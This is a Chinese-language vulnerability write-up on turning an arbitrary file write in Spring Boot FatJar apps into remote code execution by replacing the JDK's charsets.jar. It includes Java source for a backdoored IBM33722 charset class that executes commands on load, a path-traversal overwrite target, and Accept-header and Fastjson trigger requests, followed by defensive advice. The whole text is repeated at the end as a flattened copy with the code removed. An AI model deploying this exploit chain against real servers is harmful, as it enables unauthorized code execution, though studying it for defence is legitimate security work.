Spring FatJar写文件到RCE分析
字数 1620 2025-08-22 12:23:18

Spring Boot FatJar 写文件到 RCE 漏洞分析与利用

漏洞背景

Spring Boot 项目在生产环境中通常打包成 FatJar(包含所有依赖的 jar 文件),以 java -jar app.jar 形式运行。这种打包方式导致:

  1. 运行时 classpath 包括:

    • app.jar 中的 BOOT-INF/classes 目录
    • BOOT-INF/lib 目录下的所有 jar
    • JAVA_HOME 下的系统 classpath jar
  2. 无法在运行时向 app.jar 的 classpath 中增加文件

  3. 现代 Spring Boot 项目多为 RESTful API 服务,很少动态解析 jsp 或其他外部模板文件

传统 RCE 方法的问题

当存在本地任意文件写入漏洞时(如 fastjson、AspectJWeaver 写文件漏洞),传统 RCE 方法包括:

  • 写入 Linux crontab 计划任务文件
  • 替换 so/dll 系统文件进行劫持

这些方法在实际环境中常因网络联通性、文件权限等问题难以利用。

创新利用思路:JDK 类加载机制

关键发现

  1. JDK 类加载特性

    • JVM 不会在启动时加载所有 JDK_HOME 下的 jar 文件(性能考虑)
    • JVM 启动后不会主动加载 JDK_HOME 下新增的 jar 文件
    • 只能替换 JDK_HOME 下未被 "Opened" 的系统 jar 文件
  2. Windows 特殊行为

    • Windows JVM 初始化时会预加载某些字符集(如 sun.nio.cs 包中的类)
    • 默认会加载 /jre/lib/charsets.jar 文件
  3. Linux 环境

    • 默认不加载 charsets.jar
    • LANG=zh_CN.GBK 时会加载 charsets.jar

利用路径

  1. 通过任意文件写入漏洞覆盖 charsets.jar
  2. 触发 JVM 加载被修改的 charsets.jar
  3. 在类初始化时执行恶意代码

技术细节分析

触发 charsets.jar 加载的途径

方法1:Spring Web 的 Accept 头处理

通过 org.springframework.web.accept.HeaderContentNegotiationStrategy 类的 MediaType.parseMediaTypes 方法触发:

// 触发点1:multipart 类型
Accept: multipart/form-data;charset=evil;

// 触发点2:text/html 类型
Accept: text/html;charset=IBM33722;

调用链:

HeaderContentNegotiationStrategy.getMediaTypeKeys()
→ MediaType.parseMediaTypes()
→ MimeTypeUtils.parseMimeType()
→ Charset.forName()

方法2:Fastjson 反序列化触发

适用于 Fastjson >= 1.2.68:

{
    "x": {
        "@type": "java.nio.charset.Charset",
        "val": "IBM33722"
    }
}

调用链:

MiscCodec.deserialze()
→ Charset.forName()

方法3:AspectJWeaver 写文件 + CC 链触发

利用 Commons Collections 反序列化链触发文件写入:

// 示例代码片段
byte[] code = Files.readAllBytes(Paths.get("charsets.jar"));
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
HashMap storeableCachingMap = (HashMap) constructor.newInstance("./", 1);
// ... 后续构造反序列化链

漏洞复现步骤

1. 准备恶意 charsets.jar

  1. 解压正常的 charsets.jar
  2. 修改 sun.nio.cs.ext.IBM33722 类:
package sun.nio.cs.ext;

import java.util.UUID;

public class IBM33722 {
    static {
        fun();
    }
    
    public IBM33722() {
        fun();
    }
    
    private static java.util.HashMap<String, String> fun() {
        String[] command;
        String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);
        String osName = System.getProperty("os.name");
        
        if (osName.startsWith("Mac OS")) {
            command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
        } else if (osName.startsWith("Windows")) {
            command = new String[]{"cmd.exe", "/c", "calc"};
        } else {
            if (new java.io.File("/bin/bash").exists()) {
                command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"};
            } else {
                command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"};
            }
        }
        
        try {
            Runtime.getRuntime().exec(command);
        } catch (Throwable e1) {
            e1.printStackTrace();
        }
        return null;
    }
}
  1. 重新打包为 charsets.jar(需保留 ExtendedCharsets 类)

2. 上传恶意 charsets.jar

利用任意文件上传漏洞,覆盖目标系统的:

../../usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar

3. 触发加载

使用以下任意一种方式触发:

  1. HTTP 请求:
GET /any/endpoint HTTP/1.1
Accept: multipart/form-data;charset=IBM33722;
  1. Fastjson 请求:
POST /fastjson HTTP/1.1
Content-Type: application/json

{
    "x": {
        "@type": "java.nio.charset.Charset",
        "val": "IBM33722"
    }
}

防御措施

  1. 文件权限控制

    • 限制应用对 JDK_HOME 目录的写权限
    • 使用专用用户运行 Java 应用
  2. 输入验证

    • 严格校验文件上传路径
    • 过滤路径中的 ../ 等目录遍历序列
  3. 运行时保护

    • 使用 SecurityManager 限制敏感操作
    • 监控 JVM 类加载行为
  4. 依赖管理

    • 及时更新存在漏洞的组件(如 fastjson)
    • 移除不必要的依赖(如 AspectJWeaver)
  5. 系统加固

    • 设置只读权限保护关键 jar 文件
    • 使用容器技术隔离应用运行环境

参考资源

  1. LandGrey 的原始研究
  2. PoC 代码和示例
  3. Docker 测试环境
Spring Boot FatJar 写文件到 RCE 漏洞分析与利用 漏洞背景 Spring Boot 项目在生产环境中通常打包成 FatJar(包含所有依赖的 jar 文件),以 java -jar app.jar 形式运行。这种打包方式导致: 运行时 classpath 包括: app.jar 中的 BOOT-INF/classes 目录 BOOT-INF/lib 目录下的所有 jar JAVA_ HOME 下的系统 classpath jar 无法在运行时向 app.jar 的 classpath 中增加文件 现代 Spring Boot 项目多为 RESTful API 服务,很少动态解析 jsp 或其他外部模板文件 传统 RCE 方法的问题 当存在本地任意文件写入漏洞时(如 fastjson、AspectJWeaver 写文件漏洞),传统 RCE 方法包括: 写入 Linux crontab 计划任务文件 替换 so/dll 系统文件进行劫持 这些方法在实际环境中常因网络联通性、文件权限等问题难以利用。 创新利用思路:JDK 类加载机制 关键发现 JDK 类加载特性 : JVM 不会在启动时加载所有 JDK_ HOME 下的 jar 文件(性能考虑) JVM 启动后不会主动加载 JDK_ HOME 下新增的 jar 文件 只能替换 JDK_ HOME 下未被 "Opened" 的系统 jar 文件 Windows 特殊行为 : Windows JVM 初始化时会预加载某些字符集(如 sun.nio.cs 包中的类) 默认会加载 /jre/lib/charsets.jar 文件 Linux 环境 : 默认不加载 charsets.jar 当 LANG=zh_CN.GBK 时会加载 charsets.jar 利用路径 通过任意文件写入漏洞覆盖 charsets.jar 触发 JVM 加载被修改的 charsets.jar 在类初始化时执行恶意代码 技术细节分析 触发 charsets.jar 加载的途径 方法1:Spring Web 的 Accept 头处理 通过 org.springframework.web.accept.HeaderContentNegotiationStrategy 类的 MediaType.parseMediaTypes 方法触发: 调用链: 方法2:Fastjson 反序列化触发 适用于 Fastjson >= 1.2.68: 调用链: 方法3:AspectJWeaver 写文件 + CC 链触发 利用 Commons Collections 反序列化链触发文件写入: 漏洞复现步骤 1. 准备恶意 charsets.jar 解压正常的 charsets.jar 修改 sun.nio.cs.ext.IBM33722 类: 重新打包为 charsets.jar(需保留 ExtendedCharsets 类) 2. 上传恶意 charsets.jar 利用任意文件上传漏洞,覆盖目标系统的: 3. 触发加载 使用以下任意一种方式触发: HTTP 请求: Fastjson 请求: 防御措施 文件权限控制 : 限制应用对 JDK_ HOME 目录的写权限 使用专用用户运行 Java 应用 输入验证 : 严格校验文件上传路径 过滤路径中的 ../ 等目录遍历序列 运行时保护 : 使用 SecurityManager 限制敏感操作 监控 JVM 类加载行为 依赖管理 : 及时更新存在漏洞的组件(如 fastjson) 移除不必要的依赖(如 AspectJWeaver) 系统加固 : 设置只读权限保护关键 jar 文件 使用容器技术隔离应用运行环境 参考资源 LandGrey 的原始研究 PoC 代码和示例 Docker 测试环境